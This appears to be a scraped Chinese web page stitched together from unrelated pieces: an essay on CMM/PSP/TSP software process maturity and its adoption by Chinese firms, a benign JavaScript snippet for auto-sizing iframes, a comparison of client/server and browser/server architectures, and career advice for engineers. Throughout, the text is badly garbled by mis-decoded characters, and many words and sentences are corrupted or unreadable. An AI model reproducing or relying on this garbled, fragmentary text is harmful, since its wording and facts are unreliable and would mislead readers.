W四U?理U?/td> | 攉软gq程和品质量的详细度量,对Y件过E和产品质量有定量的理解和控?/td> | 定量的Y件过E管理和产品质量理 |
W五U?优化U?/td> | 软gq程的量化反馈和新的思想和技术促q过E的不断改进 | ~陷预防,q程变更理和技术变更管?/td> |
对于CMM的作用归U两个主要方? U学地评仯Y件开发单位的软g能力成熟{; 帮助软g开发单位进行自Q了解自q强项和弱,从而不断完善和改进单位的Y件开发过E,保软g质量Q提高Y件开发能效率?br />
׃CMMq未提供有关实现CMM关键q程域所需的具体知识和技能,因此Q美?Carnegie Mellon 大学软g工程研究所(CMU/SEI) 以W.S.Humphrey为首L研究与开发了个体软gq程PSPQ?a target="_new">Personal software processQ和组软gq程TSP(TeamSoftware Process)QŞ成CMM/PSP/TSP体系?/font>
PSP 个体软gq程QPersonal Software ProcessQ是q国Carnegie Mellon大学软g工程研究所(CMU/SEI)的Watts s. Humphrey领导开发的Q于1995q它的推出,在Y件工E界引v了极大的轰动Q可以说是由定向软g工程走向定量软g工程的一个标志。PSP是一U可用于控制、管理和改进个h工作方式的自我改善过E,是一个包括Y件开发表根{指南和规程的结构化框架?PSP为基于个体和型组软gq程的优化提供了具体而有效的途径Q例如如何制订计划,如何控制质量Q如何与其他人相互协作等{。在软g设计阶段Q?PSP的着眼点在于软g~陷的预Ԍ其具体办法是强化设计l束准则Q而不是设计方法的选择。PSP保障软g产品质量的一个重要途径是提高设计质量?/font>
PSP能够说明个体软gq程的原则;帮助软g工程师作出准的计划Q确定Y件工E师为改善品质量要采取的步骤;建立度量个体软gq程改善的基准;定q程的改变对软g工程师能力的影响?/font>
TSP 组软gq程TSP(Team Software Process)指导目l中的成员如何有效地规划和管理所面的项目开发Q务,q且告诉理人员如何指导软g开发队伍。始l以最佳状态来完成工作。TSP实施集体理与自q理自ql合的原则,最l目的在于指导开发h员如何在最的旉内,以预定的费用生出高质量的Y件品,所采用的方法是对群l开发过E的定义、度量和改进?/font>
TSP致力于开发高质量的品,建立、管理和授权目组Qƈ且指g们如何在满计划费用的前提下Q在承诺的期限范围内Q不断生产ƈ交付高质量的产品?
CMM是过E改善的W一步,它提供了评h(hun)l织的能力、识别优先改善需求和q踪改善q展的管理方式。企业只有开始CMM改善后,才能接受需要规划的事实Q认识到质量的重要性,才能注重对员工经常进行培?合理分配目人员,q且建立h效的目组。然而,它实现的成功与否与组l内部有关h员的U极参加和创造性活动密不可分?/p>
PSP能够指导软g工程师如何保证自q工作质量Q估计和规划自n的工作,度量和追t个人的表现Q管理自w的软gq程和品质量。经qPSP学习和实늚正规训练QY件工E师们能够在他们参与的项目工作之中充分运用PSPQ从而有助于CMM目标的实现?/p>
TSPl合了CMM的管理方法和PSP的工E技能,通过告诉软g工程师如何将个体q程l合q小lY件过E,q将后者与 l织q而整个管理系l相联系Q通过告诉理层如何支持和授权目组Q坚持高质量的工作,q且依据数据q行V目的理Q向l织展示如何应用CMM的原则和PSP的技能去生高质量的产品?/p>
MQ单U实施CMMQ永q不能真正做到能力成熟度的升U,只有实施CMM与实施PSP和TSP有机地结合v来,才能发挥最大的效力。因此,软gq程框架应该是CMM/PSP/TSP的有机集成?/p>
三、实施CMM的必要?/strong>
软g开发的风险之所以大Q是׃软gq程能力低,其中最关键的问题在于Y件开发组l不能很好地理其Y件过E,从而一些好的开发方法和技术v不到预期的作用。而且目的成功也是通过工作l的杰出努力Q所以仅仅徏立在可得到特定h员上的成功不能ؓ全组l的生和质量的长期提高打下基础Q必d建立有效的Y件如理工程实践和管理实늚基础设施斚wQ坚持不懈地努力Q才能不断改q,才能持箋地成功?/font>
软g质量是一模糊的、捉怸定的概念。我们常常听_某某软g好用, 某某软g不好用;某某某Y件功能全、结构合? 某某某Y件功能单一、操作困䏀…这些模模糊p的语言不能作是Y件质量评P更不能算作是软g质量U学的定量的评h(hun)。Y件质量,乃至于Q何品质量,都是一个很复杂的事物性质和行为。品质量,包括软g质量Q是Z实践产物的属性和行ؓQ是可以认识Q可以科学地描述的。可以通过一些方法和人类zdQ来改进质量?/font>
实施CMM是改qY件质量的有效Ҏ(gu):控制软g生q程、提高Y件生产者组l性和软g生者个力的有效合理的方法Y件工E和很多研究领域及实际问题有养I主要相关领域和因素有Q?a target="_new">需求工E?/a>(REQREQUIREMENTS ENGINEERING)。理ZQ需求工E是应用已被证明的原理、技术和工具Q?a target="_new">帮助pȝ分析人员理解问题或描qC品的外在行ؓ?a target="_new">软g复用(SRQ?a target="_new">SOFTWARE REUSE)。定义ؓ利用工程知识或方法,׃已存在的pȝQ来建造一新系l。这U技术,可改qY件品质量和生率。还有Y件检查、Y件计量、Y件可靠性、Y件可l修性?a target="_new">软g工具评估和选择{?
四、CMM在中国的现状
中国生力促q协会、北航SEI、中U院研究SEI{科研机构已于近几年在北京、上广州和深圳{地先后丑֊q多ơ报告会和研讨会Q组l过评学习和应用实验,开展了软gq程斚w的研I与开发工作,q发表了多篇的研I成果和学术论文Q在软g质量保障q_支撑环境也取得了一定的成果?/font>
q两q来QCMM在我国获得了各界来多xQ业界有q多ơ关于CMM的讨论,2000q?月国务院颁发的《鼓pY件业和集成?sh)\产业发展的若q政{》对中国软g企业甌CMM认证l予了积极的支持和推动作?W?7条规?对Y件出口型企业CMM认证费用予以适当支持?2000q中国村?sh)?/a>节上q有CMM专题论坛Q吸引了众多业内人士。鼎新、东大阿派、联惟뀁方正、金蝶、用友、浪潮、创智、华为、东大阿派{大型集团或企业{都?997---2000qv批企业都在进行研I、实验或实施预评估。其中鼎新公总1997q着手进行CMM认证工作?999q?月通过W三方认证机构的CMM2认证。东大阿派公司?000q?0月通过W三方认证机构的CMM2认证?001q?月,联想软gl过英国路透集团的严格评估Q顺利通过CMM2认证?001q??6日,沈阳东Y软g股䆾有限公司Q原沈阳东大阿尔zY件股份有限公司)正式通过了CMM3U认证,成ؓ中国首家通过CMM3U的软g企业?/font>
M上讲Q国内对软gq程理论的讨Z实践正在展开Q目标是使Y件的质量理和控制达到国际先q水qI中国的Y件业获得可持箋发展的能力。专家分析,在未来两三年内,国内软g业势必将出现实施CMM的高潮。从q一势看,中国的Y件企业已l开始走上标准化、规范化、国际化的发展道路,中国软g业已l面临一个整体突破的时代?/font>
但是我们应该看到目前国内对Y件管理工E存在的最大问题是认识不。管理实际上是一把手工程Q需要高层管理h员的_重视。而且软gq程的重大修改也必须由高层管理部门启动,q是软gq程改善能否q行到底的关键。此外,软gq程的改善还有待于全体有关h员的U极参与?/font>
除了要认识到q程改善工作是一把手工程q个关键因素外,q应认识到Y件过E成熟度的升U本w就是一个过E,且有一个生命周期。过E改善工作需要@序渐q,不能一y而就Q需要持l改善,不能停滞不前Q需要联pd际,不能照本宣科Q需要适应变革Q不能凝Z变。一个有效的途径是自向下的评培训Q即从高层主依ơ普及到下面的工E师?/font>
五?a target="_new">CMM体系l构
一个企业Y件能力类g一个h在一个特定领域的能力Q是逐步获得和增长的。如果一个h在其领域的发展过E中能得C个很好的指南Q那么他或她׃不断辑ֈ一个个讑֮的目标,q变得成熟v来,否则可能会盲目发展,自q目标来远Q甚臛_辕北辙。一个企业的软g能力发展也同样需要一个良好的指南QSW-CMM正是q样一个指南,它以几十q品质量概念和软g工业的经验及教训为基Qؓ企业软g能力不断走向成熟提供了有效的步骤和框架?/font>
框架
SW-CMMY件企业的q程能力提供了一个阶梯式的进化框Ӟ阶梯共有五。第一U实际上是一个v点,M准备按CMM体系q化的企业都自然处于q个L上,q过q个L向第二q进。除W一U外Q每一U都讑֮了一l目标,如果辑ֈ了这l目标,则表明达Cq个成熟U别Q可以向下一个别迈q。CMM体系不主张跨别的q化Q因ZW二UvQ每一个低的别实现均是高的别实现的基础?/font>
1.初始U?br /> 初始U的软gq程是未加定义的随意q程Q项目的执行是随意甚x混ؕ的。也许,有些企业制定了一些Y件工E规范,但若q些规范未能覆盖基本的关键过E要求,且执行没有政{、资源等斚w的保证时Q那么它仍然被视为初始?/font>
2.可重复
Ҏ(gu)多年的经验和教训Qh们ȝY件开发的首要问题不是技术问题而是理问题。因此,W二U的焦点集中在Y件管理过E上。一个可理的过E则是一个可重复的过E,一个可重复的过E则能逐渐q化和成熟。第二的管理过E包括了需求管理、项目管理、质量管理?a target="_new">配置理和子合同理五个斚w。其中项目管理分划过E和跟踪与监控过E两个过E。通过实施q些q程Q从理角度可以看到一个按计划执行的且阶段可控的Y件开发过E?/font>
3.定义U?br /> 在第二仅定义了理的基本过E,而没有定义执行的步骤标准。在W三U则要求制定企业范围的工E化标准Q而且无论是管理还是工E开发都需要一套文档化的标准,q将q些标准集成C业Y件开发标准过E中厅R所有开发的目需Ҏ(gu)q个标准q程Q剪裁出与项目适宜的过E,q执行这些过E。过E的剪裁不是随意的,在用前需l过企业有关人员的批准?/font>
4.理U?br /> W四U的理是量化的理。所有过E需建立相应的度量方式,所有品的质量(包括工作产品和提交给用户的?需有明的度量指标。这些度量应是详的Q且可用于理解和控制软gq程和品。量化控制将使Y件开发真正变成ؓ一U工业生产活动?/font>
5.优化U?br /> W五U的目标是达C个持l改善的境界。所谓持l改善是指可Ҏ(gu)q程执行的反馈信息来改善下一步的执行q程Q即优化执行步骤。如果一个企业达Cq一U,那么表明该企业能够根据实际的目性质、技术等因素Q不断调整Y件生产过E以求达到最佟?/font>
l构
除第一U外QSW-CMM的每一U是按完全相同的l构构成的。每一U包含了实现q一U目标的若干关键q程?KPA)Q每个KPAq一步包含若q关键实施活?KP)Q无论哪个KPAQ它们的实施zd都统一按五个公共属性进行组l,x一个KPA都包含五cKP?/font>
1.目标
每一个KPA都确定了一l目标。若q组目标在每一个项目都能实玎ͼ则说明企业满了该KPA的要求。若满了一个别的所有KPA要求Q则表明辑ֈ了这个别所要求的能力?/font>
2.实施保证
实施保证是企业ؓ了徏立和实施相应KPA所必须采取的活动,q些zd主要包括制定企业范围的政{和高层理的责仅R?/font>
3.实施能力
实施能力是企业实施KPA的前提条件。企业必采取措施,在满了q些条g后,才有可能执行KPA的执行活动。实施能力一般包括资源保证、h员培训等内容?/font>
4.执行zd
执行q程描述了执行KPA所需求的必要角色和步骤。在五个公共属性中Q执行活动是唯一与项目执行相关的属性,其余四个属性则涉及企业CMM能力基础设施的徏立。执行活动一般包括计划、执行的d、Q务执行的跟踪{?/font>
5.度量分析
度量分析描述了过E的度量和度量分析要求。典型的度量和度量分析的要求是确定执行活动的状态和执行zd的有效性?/font>
6.实施验证
实施验证是验证执行活动是否与所建立的过E一致。实施验证涉及到理斚w的评审和审计以及质量保证zd?br /> 在实施CMMӞ可以Ҏ(gu)企业软gq程存在问题的不同程度确定实现KPA的次序,然后按所定ơ序逐步建立、实施相应过E。在执行某一个KPAӞ对其目标l也可采用逐步满的方式。过E进化和逐步走向成熟是CMM体系的宗旨?/font>
六、CMM实施的思?/strong>
上面重点介绍了CMM,但是提醒注意的是Qƈ不是实施了CMMQY仉目的质量p有所保障。CMM是一U资质认证,它可以证明一个Y件企业对整个软g开发过E的控制能力。按照CMM的思想q行理与通过CMM认证q不能划{号。CMM认证q不仅仅是在评估软g企业的生产能力,整个评估q程同时q在帮助企业完善已经按照CMM建立的科?a target="_new">工作?/a>E,发现企业在Y件质量、生产进度以及成本控制等斚w可能存在的问题,q且及时予以U正。认证的q程是纠正企业偏差的q程Q一定不能把CMM认证当作一U考试、一U文凭,而是要看成一Ҏ(gu)利于企业今后发展的投资,借此来改变中国Y件业长久以来形成的积弊?
实施CMM对Y件企业的发展L臛_重要的作用,CMMq程本n是对Y件企业发展历E的一个完整而准的描述Q企业通过实施CMMQ可以更好地规范软g生和管理流E,使企业组l规范化。企业通过CMM不是Z满其他公司的要求,而是Z让企业更好地发展Qؓ企业q一步扩大规模打下坚实的基础。如果企业只是ؓ了获得一U证书而通过CMMQ那么就已经本末倒置了,对企业的长久发展反而有実뀂试惛_果企业的态度不够端正Q即佉K过CMM认证Q企业又怎么能够保证它在以后的操作过E当中l坚持CMM规范呢?CMM只是一个让企业更好发展的规范,不应该成Z业炒作自q工具Q企业需要的是优化自q理、提高品的质量Q而非一张CMM证书?
CMM不是万能的,它的成功与否Q与一个组l内部有关h员的U极参与和创造性活动是密不可分的,而且CMMq未提供实现有关子过E域所需要的具体知识和技能。在国内要想取得q程改进成功Q必d好以下的几点:软gq程改进必须有高U主的支持与委托,q积极地理q程改进的进?中层理的积极支?责Q分明Q过E改q小l的威望?基层的支持与参与极端重要;利用定量的可观察数据Q尽快ɘq程改进成果可见Q从而激励参与者的兴趣;实施CMM与实施PSP和TSP有机地结合v?Z业的商业利益服务Qƈ要求同时相符的企业文化变革?/font>
应该看到,q程改善工作必然h一切过E所h的固有特征,即需要@序渐q,不能一y而就需要持l改善,不能停滞不前Q需要联pd际,不能照本宣读需要适应变革Q不能凝Z变。将CMMQPSPQTSP引h软g企业最有效的途径首先要对单位ȝ和主要开发h员进行系l的培训。另外一个有效的途径是自向下的评培训Q即从高层主依ơ普及到下面的工E师。培训包括最基本的Y件工E和CMM培训知识Q专业领域知识等斚w的培训;软gq程斚w的培训。不q强调一点,我们必须Ҏ(gu)自n的实际制定可行的Ҏ(gu)。不深入研究q搬别的企业的模式是很难v到提高Y件品质量水q的真正目的的?/font>
CMM模型划分?个别,p18个关键过E域Q?2个目标,300多个关键实践。每一个CMM{的评估周期(从准备到完成Q约需12-30个月。此期间应抽调企业中有管理能力、组l能力和软g开发能力的骨干人员,成立专门的CMM实施领导组或专门的机构。同时设立Y件工E过E组、Y件工E组、系l工E组?a target="_new">pȝ试l、需求管理组?a target="_new">软g目计划l、Y仉目跟t与监督、Y仉|管理组?a target="_new">软g质量保证l、培训组。各个小l完成自qd同时协调其他组的工作。然后制定和完善软gq程, 按照CMM规范评估q个q程。CMM正式评估由CMU/SEI授权的主任评估师领导一个评审小l进行,评估q程包括员工培训、问卯查和l计、文档审查、数据分析、与企业的高层领D论和撰写评估报告{,评估l束时由MQ评估师签字生效。此后最关键的就是根据评估结果改qY件过E?使CMM评估对于软gq程改进所应具有的作用得到最好的发挥?/font>
现在国内软g产业的发展可以说已经h一定规模了Q但除了北大Ҏ(gu)、东大阿派、用友等大企业外Q做软g工程目更多的是一些规模在数十人左右的中小企业, 目前处于CMM的初U阶D,没有基础和经验。也许有Z问,像这样一些h力物力资源匮乏的企业Q如何进行Y件开发项目的理呢?我徏议这些中企业可以以CMM为框Ӟ先从PSP做vQ然后在些基上逐渐q渡到TSPQ以保证CMM/PSP/TSP实在企业中生根开花。MQ我们必M软gq程、过E工E的角度来看待CMM的发展,从经学的观Ҏ(gu)分析q个q程的h(hun)倹{我怿在实施CMM/PSP/TSP的过E中Q只要坚持改善Y件工E的理Qƈ在实践中注意ȝ适合自n的经验,一定能取得很好的效果?
在同一个页面里也可以用的?
<IFRAME name=frame marginWidth=0
marginHeight=0
src="index.asp"
frameBorder=no width=100% height="100%" scrolling=auto
></IFRAME>
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=gb2312' />
<title>iframe自适应加蝲的页面高?lt;/title>
</head>
<body>
<div><iframe src="child.htm"></iframe></div>
</body>
</html>
child.htm:
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=gb2312' />
<meta name='author' content='F.R.Huang(meizz梅花?//www.meizz.com' />
<title>iframe 自适应其加载的|页(多浏览器兼容)</title>
<script type="text/javascript">
<!--
function iframeAutoFit()
{
try
{
if(window!=parent)
{
var a = parent.document.getElementsByTagName("IFRAME");
for(var i=0; i<a.length; i++) //author:meizz
{
if(a[i].contentWindow==window)
{
var h1=0, h2=0;
a[i].parentNode.style.height = a[i].offsetHeight +"px";
a[i].style.height = "10px";
if(document.documentElement&&document.documentElement.scrollHeight)
{
h1=document.documentElement.scrollHeight;
}
if(document.body) h2=document.body.scrollHeight;
var h=Math.max(h1, h2);
if(document.all) {h += 4;}
if(window.opera) {h += 1;}
a[i].style.height = a[i].parentNode.style.height = h +"px";
}
}
}
}
catch (ex){}
}
if(window.attachEvent)
{
window.attachEvent("onload", iframeAutoFit);
//window.attachEvent("onresize", iframeAutoFit);
}
else if(window.addEventListener)
{
window.addEventListener('load', iframeAutoFit, false);
//window.addEventListener('resize', iframeAutoFit, false);
}
//-->
</script>
</head>
<body>
<table border="1" width="200" style="height: 400px; background-color: yellow">
<tr>
<td>iframe 自适应其加载的|页(多浏览器兼容Q支持XHTML)</td>
</tr>
</table>
</body>
</html>
C/SQClient/ServerQ结构,卛_家熟知的客户机和服务器结构。它是Y件系l体pȝ构,通过它可以充分利用两端硬件环境的优势Q将d合理分配到Client端和Server端来实现Q降低了pȝ的通讯开销。目前大多数应用软gp?
l都是Client/Server形式的两层结构,׃现在的Y件应用系l正在向分布式的Web应用发展QWeb和Client/Server应用都可以进行同L业务处理Q应用不同的模块׃n逻辑lgQ因此,内部的和外部的用户都可以讉K新的和现有的应用pȝQ通过现有应用pȝ中的逻辑可以扩展出新的应用系l。这也就是目前应用系l的发展方向?
传统的CQS体系l构虽然采用的是开放模式,但这只是pȝ开发一U的开放性,在特定的应用中无论是Client端还是Server端都q需要特定的软g支持。由于没能提供用L正期望的开攄境,C/Sl构的Y仉要针对不同的操作pȝpȝ开发不同版本的软gQ加之品的更新换代十分快,已经很难适应癑֏?sh)脑以上局域网用户同时使用。而且代h(hun)高,效率低?
W二、什么是B/Sl构?
B/SQBrowser/ServerQ结构即览器和服务器结构。它是随着
Internet技术的兴vQ对C/Sl构的一U变化或者改q的l构。在q种l构下,用户工作界面是通过WWW览器来实现Q极部分事务逻辑在前?
QBrowserQ实玎ͼ但是主要事务逻辑在服务器端(ServerQ实玎ͼ形成所谓三?-tierl构。这样就大大化了客户端电(sh)脑蝲P减轻了系l维护与升的成本和工作量,降低了用LM成本QTCOQ?
以目前的技术看Q局域网建立B/Sl构的网l应
用,q过Internet/Intranet模式下数据库应用Q相Ҏ(gu)于把握、成本也是较低的。它是一ơ性到位的开发,能实C同的人员Q从不同的地
点,以不同的接入方式Q比如LAN,WAN,Internet/Intranet{)讉K和操作共同的数据库;它能有效C护数据^台和理讉K权限Q服
务器数据库也很安全。特别是在JAVAq样的跨q_语言出现之后QB/S架构理软g更是方便、快捗高效?
W三、管理Y件主技术?
理软g技术的L技术与理思想一P也经历了三个发展时期。首先,界面技术从上世UDOS字符界面到Windows囑Ş界面Q或囑Ş用户界面GUIQ,直至Browser览器界面三个不同的发展时期。其ơ,今天所有电(sh)脑的
览器界面,不仅直观和易于用,更主要的是基于浏览器q_的Q何应用Y件其风格都是一LQ用hҎ(gu)作培训的要求不高Q而且软g可操作性强Q易于识
别;再者,q_体系l构也从q去单用户发展到今天的文?服务器(F/SQ体pR客h/服务器(C/SQ体pd览?服务器(B/SQ体pR?
二、C/S和B/S之比?
C/S和B/S是当今世界开发模式技术架构的两大L技术。C/S是美国Borland公司
最早研发,B/S是美国微软公司研发。目前,q两Ҏ(gu)术以被世界各国所掌握Q国内公总C/S和B/S技术开发出产品也很多。这两种技术都有自׃定的?
Z额和客户,各家企业都说自己的管理Y件架构技术功能强大、先q、方便,都能丑և各自的客L体,都有一大群文h墨客己摇旗呐喊,q告满天飞,?
谓仁者见仁,见智?
1、C/S架构软g的优势与劣势
Q?Q、应用服务器q行数据负荷较轻?
最单的C/S体系l构的数据库应用׃部分l成Q即客户应用E序和数据库服务器程序。二者可分别UCؓ前台E序与后台程序。运行数据库服务器程序的机器Q也UCؓ应用服务器。一旦服务器E序被启动,随时等待响应客L序发来的hQ客户应用程序运行在用户自己的电(sh)脑上Q对应于数据库服务器Q可UCؓ客户?sh)脑Q当需要对数据库中的数据进行Q何操作时Q客L序就自动地寻找服务器E序Qƈ向其发出hQ服务器E序Ҏ(gu)预定的规则作出应{,送回l果Q应用服务器q行数据负荷较轻?
Q?Q、数据的储存理功能较ؓ透明?
在数据库应用中,数据的储存管理功能,是由服务器程序和客户应用E序分别独立q行的,前台应用可以q反的规则,q且通常把那些不同的Q不是已知q是未知的)q行数据Q在服务器程序中不集中实玎ͼ例如讉K者的权限Q编号可以重复、必L客户才能建立定单q样的规则。所有这些,对于工作在前台程序上的最l用P是“透明”的Q他们无过问(通常也无法干涉)背后的过E,可以完成自q一切工作。在客户服务器架构的应用中,前台E序不是非常“瘦”,ȝ的事情都交给了服务器和网l。在C/S体系的下Q数据库不能真正成ؓ公共、专业化的仓库,它受到独立的专门理?
Q?Q、C/S架构的劣势是高昂的维护成本且投资大?
首先Q采用C/S架构Q要选择适当的数据库q_来实现数据库数据的真正“统一”,使分布于两地的数据同步完全交由数据库pȝȝ理,但逻辑上两地的操作者要直接讉K同一个数据库才能有效实现Q有q样一些问题,如果需要徏立“实时”的数据同步Q就必须在两地间建立实时的通讯q接Q保持两地的数据库服务器在线q行Q网l管理工作h员既要对服务器维护管理,又要对客Ll护和管理,q需要高昂的投资和复杂的技术支持,l护成本很高Q维护Q务量大?
其次Q传l的C/Sl构的Y仉要针对不同的操作pȝpȝ开发不同版本的软gQ由于品的更新换代十分快,代h(hun)高和低效率已l不适应工作需要。在JAVAq样的跨q_语言出现之后QB/S架构更是猛烈冲击C/SQƈ对其形成威胁和挑战?
2、B/S架构软g的优势与劣势
Q?Q、维护和升方式单?
目前QY件系l的改进和升U越来越频繁QB/S架构的品明显体现着更ؓ方便的特性。对一个稍微大一点单位来_pȝ理人员如果需要在几百甚至上千部电(sh)脑之间来回奔跑,效率和工作量是可惌知的,但B/S架构的Y件只需要管理服务器p了,所有的客户端只是浏览器Q根本不需要做M的维护。无论用L规模有多大,有多分支机构都不会增加Ml护升的工作量Q所有的操作只需要针Ҏ(gu)务器q行Q如果是异地Q只需要把服务器连接专|即可,实现q程l护、升U和׃n。所以客h来“瘦”,而服务器来“胖”是来信息化发展的L方向。今后,软g升和维护会来容易,而用v来会来简单,q对用户人力、物力、时间、费用的节省是显而易见的Q惊人的。因此,l护和升U革命的方式是“瘦”客hQ“胖”服务器?
Q?Q、成本降低,选择更多?
大家都知道windows在桌面电(sh)脑上几乎一l天下,览器成Z标准配置Q但在服务器操作pȝ上windowsq不是处于绝对的l治C。现在的势是凡使用B/S架构的应用管理YӞ只需安装在Linux服务器上卛_Q而且安全性高。所以服务器操作pȝ的选择是很多的Q不选用那种操作pȝ都可以让大部分h使用windows作ؓ桌面操作pȝ?sh)脑不受影响Q这׃的最行免费的Linux操作pȝ快速发展v来,Linux除了操作pȝ是免费的以外Q连数据库也是免费的Q这U选择非常盛行?
比如说很多h每天上“网易”(原文为新)|,只要安装了浏览器可以了Qƈ不需要了解“网易”的服务器用的是什么操作系l,而事实上大部分网站确实没有用windows操作pȝQ但用户的电(sh)脑本w安装的大部分是windows操作pȝ?
Q?Q、应用服务器q行数据负荷较重?
׃B/S架构理软g只安装在服务器端QServerQ上Q网l管理h员只需要管理服务器p了,用户界面主要事务逻辑在服务器QServerQ端完全通过WWW览器实玎ͼ极少部分事务逻辑在前端(BrowserQ实玎ͼ所有的客户端只有浏览器Q网l管理h员只需要做gl护。但是,应用服务器运行数据负药重,一旦发生服务器“崩溃”等问题Q后果不堪设惟뀂因此,许多单位都备有数据库存储服务器,以防万一?
3QC/S与B/S区别
Client/Server是徏立在局域网的基上的QBrowser/Server是徏立在q域|的基础上的?
Q?Q、硬件环境不同:C/S一般徏立在专用的网l上Q小范围里的|络环境Q局域网之间再通过专门服务器提供连接和数据交换服务?
B/S建立在广域网之上的,不必是专门的|络g环境Q例如电(sh)话上|,U用讑֤Q信息自q理,有比C/S更强的适应范围Q一般只要有操作pȝ和浏览器p?
Q?Q、对安全要求不同
C/S一般面向相对固定的用户,对信息安全的控制能力很强。一般高度机密的信息pȝ采用C/Sl构适宜Q可以通过B/S发布部分可公开信息?
B/S建立在广域网之上Q对安全的控制能力相对弱Q面向是不可知的用户?
Q?Q、对E序架构不同
C/SE序可以更加注重程Q可以对权限多层ơ校验,对系l运行速度可以较少考虑?
B/S对安全以及访问速度的多重的考虑Q徏立在需要更加优化的基础之上。比C/S有更高的要求QB/Sl构的程序架构是发展的趋势,从MS?Netpd的BizTalk2000Exchange2000{,全面支持|络的构件搭建的pȝ。SUN和IBM推的JavaBean构g技术等QB/S更加成熟?
Q?Q、Y仉用不?
C/SE序可以不可避免的整体性考虑Q构件的重用性不如在B/S要求下的构g的重用性好?
B/S对的多重l构Q要求构件相对独立的功能。能够相对较好的重用。就如买来的桌可以再利用,而不是做在墙上的矛_桌子?
Q?Q、系l维护不?
pȝl护是Y件生存周期中Q开销大,相当重要
C/SE序׃整体性,必须整体考察Q处理出现的问题以及pȝ升难,可能是再做一个全新的pȝ?
B/S构gl成斚w构g个别的更换,实现pȝ的无~升U。系l维护开销减到最,用户从网上自׃载安装就可以实现升?
Q?Q、处理问题不?
C/SE序可以处理用户面固定,q且在相同区域,安全要求高的需求,与操作系l相养I应该都是相同的系l?
B/S建立在广域网上,面向不同的用LQ分散地域,q是C/S无法作到的,与操作系l^台关pL?
Q?Q、用h口不?
C/S多是建立在Windowq_上,表现Ҏ(gu)有限Q对E序员普遍要求较高?
B/S建立在浏览器上,有更加丰富和生动的表现方式与用户交流Qƈ且大部分隑ֺ减低Q降低开发成本?
Q?Q、信息流不同
C/SE序一般是典型的中央集权的机械式处理,交互性相对低?
B/S信息向可变化,BQB、BQC、BQG{信息流向的变化Q更象交易中心?/p>
[2]可以做技术,切不可沉湎于技术。千万不可一门心思钻研技术!l自己很大压力,如果
你的心思全部放在这上面Q那么注定你成为孔乙己一cȝ人物Q适可而止ZQ因为技
术只不过是你今后前途的支柱之一Q而且q不是最大的支柱Q除非你只愿意到老还是个?
E师Q?
==========================
q一Ҏ(gu)保留Q可能是中国人“官本位”的观念比较重吧Q昨天去车站寄东西回Ӟ?br />那个司机聊了聊,边上有一个hQ应该是我们老家那边的h吧,一听说我在某某公司Q大
惊,忙问我做什么的Q正好看到我w上的工作牌q戴着Q拿q一看,也就是一个“程序员”,
g是一怸屑,怸明显的意思就是:怎么不弄个官做做呀Q否则我也可以请你帮忙弄
点什么好处了。接下来Q就是跟我说Q他是如何接受我们公司的某个什么h的好处的。。?br /> 但其实真正说来,做Y件这个行业,真正起作用的q是技术;像管理,q只是ؓ技术服
务的Q做技术,照样可以做到NO1.的?/p>
[3]不要d技术高手,只去做综合素质高手!在企业里P我们时常瞧不h人,说他?
什么都不懂Q凭啥拿那么多钱Q凭啥升官!”这是普遍的典型的工E师的迂腐之a?051
很牛吗?人家能上d然有他的本事Q而且是你没有的本事。你xQ老板搞经营那么多
q_N见识不如你这个新兵?人家或许善于理Q善于领会老板意图Q善于部门协调等
{。因此务必培养自己多斚w的能力,包括理Q亲和力Q察a观色能力Q攻兌力等Q?
要成为综合素质的高手Q则前途无量,否则只能w在角落看示波器Q技术以外的技能才?
更重要的本事Q!从古CQ美国日本,一律如此!
[4]多交C会三教?ji)流的朋友!不要只和工程师交往Q认为有共同语言Q其实更重要的是?
其他cMh物交往Q如果你希望有朝一日当老板或高层管理,那么你整日面对的是q些?
。了解他们的l历Q思维习惯Q爱好,学习他们处理问题的模式,了解C会各个角落的现
象和问题Q这是以后发展的巨大的本钱,没有q些以后׃W手W脚Q跌跌撞撞,遇到?
重困难,交不学费,成功的概率大大降低!
[5]知识涉猎不一定专Q但一定要q!多看看其他方面的书,金融Q胦会,q出口,E务Q?
法律{等Qؓ以后做一些积累,以后的用处会更大Q会交许多学费Q!
===============================
要学q么多的东西Q很累吧Q自q专业知识够多的了,q要学习q么多其它的东西Q?br />其实Q知识要有深有广Q广度的东西没有一个界限的Q只要你爱好卛_Q当成闲书来看;
专业的东西是你的饭碗Q不专不行的Q一定得学好它。还有,q你不做技术了Q做理
也是需要学好管理知识的?/p>
[6]抓住时机向技术管理或市场销售方面的转变Q要x前途就不能一直搞开发,适当时?
要{变ؓ理或销售,前途会更大Q以前搞技术也没有白搞Q以后还用得着。搞理可以
培养自己的领D力,搞销售可以培养自q市场概念和思维Q同时ؓ自己以后发展U篏
庞大的h脉!应该说这才是前途的真正支柱Q!Q ?
[7]逐渐克服自己的心里弱点和性格~陷Q多疑,敏感Q天真(贬义Qƈ不可爱)Q犹豫不
冻I胆怯,多虑Q脸皮太薄,心不够黑Q教条式思维。。。这些工E师普遍存在的性格?
点必L变!很难吗?只在床上想一惛_然不可能Q去帮朋友守一个月地摊Q包准有效果
Q去实践Q而不要只惻I不克服这些缺点,一切不可能Q甚臌目l理都当不好--管
你可能技术不错!
[8]工作的同时要Z后做准备Q徏立自q工作环境Q及早ؓ自己配置一个工作环境,?
备电(sh)脑,CL器(可以C二手的)Q仿真器Q编E器{,业余可以接点z,一斚w接触
市场Q培d场感觉,同时也积累资金,更重要的是准备自q产品Q咱搞技术的没有?
Q只有技术,技术的代表不是学历和证书,而是产品Q拿L产品Q就可技术{让或
与h合作搞企业!先把东西准备好,{待ZQ否则,有了Z也抓不住Q ?
[9]要学会善于推销自己Q不仅要能干Q还要能_能写Q善于利用一切机会推销自己Q树
立自q品牌形象Q很必要Q要创造条件让别h了解自己Q不然老板怎么知道你能qԌ?
面的投资人怎么怿你?提早把自己推销出去Q机会自然会来找你!搞个个h主页是个?
注意Q!特别是培养自己在行业的名气,有了名气Q高薪机会自不在话下Q更重要的是?
合作的机?..
[10]该出手时便出手!永远不可能有100%把握Q!Q条件差不多p大胆dQ去闯出?
q事业Q不要犹豫,不要彷LQ干了不一定成功,但至ؓ下一ơ冲ȝ累了l验Q不
q永q没出息Q而且要干成必然要l历p|。不l历风雨Q怎么见彩虹,没有随随?
便成??/p>
===============================
前面太多了,也就不一点点是评论它们了。ȝ来说Q这文章就是打定了Q从技术{行,
